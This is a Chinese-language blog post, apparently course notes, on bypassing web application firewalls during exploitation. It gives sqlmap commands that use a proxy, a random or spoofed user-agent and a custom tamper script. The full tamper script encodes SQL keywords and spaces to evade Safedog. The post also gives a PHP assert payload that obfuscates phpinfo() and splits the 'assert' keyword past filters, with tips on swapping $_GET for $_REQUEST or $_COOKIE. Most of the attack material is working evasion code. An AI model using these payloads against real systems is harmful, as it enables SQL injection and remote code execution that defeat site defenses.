WAF绕过-漏洞利用之注入上传跨站绕过

WAF绕过-漏洞利用之注入上传跨站绕过

f9cf17d3ec0a904415cda61d843c905a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
python sqlmap.py -u "地址"  //正常sqlmap注入

设置代理之后
python sqlmap.py -u "地址" --proxy="代理地址;端口"

之前说到SQL注入的时候是用符号变异,垃圾值的方式去干扰目标网站的WAF软件,但是这个是手工的方式,如果是真正的方式进行注入的话
就是用工具,而工具不能像我们这样,sqlmap有一个模块是tamper,如果想要工具按照我们的思路来注入,就需要我们写一个这样的文件,
放到tamper下

python sqlmap.py -u "地址" --proxy="代理地址;端口" --tamper=guodog.py

上面这样就可以了吗?答案是不行的,通过抓包发现这个sqlmap在进行发包的时候的头部,是有sqlmap的指纹的,这样是绝对不行的,所以
如果想要成功还要将这个头部替换成一个白名单的形式

python sqlmap.py -u "地址" --proxy="代理地址;端口" --tamper=guodog.py --user-agent="浏览器的头部"
//浏览器的头部,你可以随便访问一个正常的网站然后通过burp抓包,复制一下就可以了,应该也可以用这个百度的吧。。。

python sqlmap.py -u "地址" --proxy="代理地址;端口" --tamper=guodog.py --random-agent
//第二种方式:随机头,每次发包的头部信息都不一样,同样可以实现效果

#脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LlCENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH

def tamper (payload, **kwargs):

retVal = ""

if payload:
payload = payload.replace("union", "%23a%0aunion")
payload = payload.replace("select", "%00/*!44575se1ect*/")
payload = payload. replace("%20","%23a%0a")
payload = payload. replace(" ", "%23a%0a")
payload = payload.replace("database()","database%23a%0a()")
return payload

SQLmap目录下面有一个这样的模块

Snipaste_2022-05-31_13-25-06

**总结:**一个漏洞在利用的时候不光要考虑这个漏洞本身的问题,还要考虑速度,工具的指纹问题,以及代码是否可以执行成功的问题

RCE

Snipaste_2022-05-31_14-11-58

这里我只要访问这个选项,那么就会直接被安全狗拦截,不是我做了什么,就是我一访问就被拦截,访问其他的没有问题

Snipaste_2022-05-31_14-19-06

个人感觉是访问这个选项的时候,URL中有敏感词,所以被安全狗拦截了,从而导致我访问不了【doge】,所以我就先将这个安全狗关闭一下

Snipaste_2022-05-31_14-18-57

分析源码

Snipaste_2022-05-31_14-18-11

只要我输入的不是php代码那么就会报错

Snipaste_2022-05-31_14-23-16

Snipaste_2022-05-31_14-23-03

输入了其他字符的时候,回显:”你喜欢的字符还挺奇怪的”

Snipaste_2022-05-31_14-23-30

开启安全狗之后,在访问这个phpinfo(); 安全狗直接拦截了

Snipaste_2022-05-31_14-26-00

采用base64绕过,结果失败,原因是宝塔的风险值,也就是宝塔检测了

运行发现是空白(这里是空白,不是小迪说的宝塔将base64_decode作为风险关键词,而是本身就不行啊(这里靶安全狗关了)

考虑采用其他的加密算法进行传输,加密分为:可逆和不可逆,因为这里最后要使传输的值被执行,那么就需要选择这个可逆的加密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
---将'pxhpxinxfo()'中的x替换为空,再执行phpinfo

txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);&submit=%E6%8F%90%E4%BA%A4

---如果对关键词assert过滤:$x='asse';$xx='rt';$xxx=$x.$xx;($xxx为assert,注意PHP连接两个字符串用.(Python里面用+))

---测试(注意要加assert()执行还原的phpinfo()函数)

---当然,也可以用get传参构造(在宝塔里面传递的参数:$_Get也是风险值,会被拦截)

---如果$_Get被拦截,可以替换为$_REQUEST,甚至$_COOKIE等等

---但是有个问题,我直接在PHP在线编辑器执行报错(说的中间的;报错)

参考文章

1
2
https://www.zhe94.com/132.html
https://www.bilibili.com/read/cv14908292?spm_id_from=333.999.0.0